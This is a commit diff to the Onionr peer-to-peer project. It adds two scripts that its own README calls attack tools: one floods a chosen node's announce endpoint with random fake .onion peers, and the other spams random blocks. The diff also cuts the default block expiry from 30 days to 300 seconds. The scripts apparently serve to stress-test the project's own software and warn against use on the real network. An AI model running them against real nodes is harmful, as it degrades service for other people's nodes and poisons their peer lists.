added attack simulation scripts

scripts/README.md

@@ -2,3 +2,5 @@ This directory contains useful scripts and utilities that don't make sense to in
 
 passphrase-generator.py: very simple utility to generate and print a strong passphrase to stdout. 256 bits of entropy by default.
 enable-dev-config.py/disable-dev-config.py: enable/disable dev default config setup
+block-spammer.py: attack tool for spamming blocks
+announce-attack.py: flood a node with false nodes

scripts/announce-attack.py

@@ -0,0 +1,25 @@
+import sys
+import os
+import secrets
+import base64
+os.chdir('../')
+sys.path.append("src/")
+from onionrutils import stringvalidators
+from onionrutils import basicrequests
+
+
+def random_tor_generator():
+    return base64.b32encode(secrets.token_bytes(35)).decode().replace("=", "").lower() + ".onion"
+
+node = input("Enter node to attack. Note that you must legally use your own, and even that might lead to issues")
+assert stringvalidators.validate_transport(node)
+
+count = int(input("Attack amount: "))
+port = input("Socks:")
+for x in range(count):
+    new = random_tor_generator()
+    print(f"Introducing {new} to {node}")
+    basicrequests.do_post_request(
+                    f'http://{node}/announce',
+                    data = {'node': new},
+                    port=port)

scripts/block-spammer.py

@@ -0,0 +1,21 @@
+#!/usr/bin/env python3
+
+"""Spam a bunch of Onionr blocks"""
+
+# Please don't run this script on the real Onionr network. You wouldn't do anything but be annoying
+
+print("Please don't run this script on the real Onionr network. You wouldn't do anything but be annoying, and possibly violate law")
+
+import sys
+import os
+os.chdir('../')
+sys.path.append("src/")
+import onionrblocks
+
+
+amount = int(input("Number of blocks:"))
+
+for i in range(amount):
+    onionrblocks.insert(data=os.urandom(32))
+    print(i, "done")
+

src/etc/onionrvalues.py

@@ -53,7 +53,7 @@ MAX_NEW_PEER_QUEUE = 1000
 """Make announce take a few seconds (on average) to compute to discourage excessive node announcements"""
 ANNOUNCE_POW = 6
 """30 days is plenty of time for someone to decide to renew a block"""
-DEFAULT_EXPIRE = 2592000
+DEFAULT_EXPIRE = 300
 # Metadata header section length limits, in bytes
 BLOCK_METADATA_LENGTHS = {'meta': 1000, 'sig': 200, 'signer': 200, 'time': 10, 'pow': 1000, 'encryptType': 4, 'expire': 14}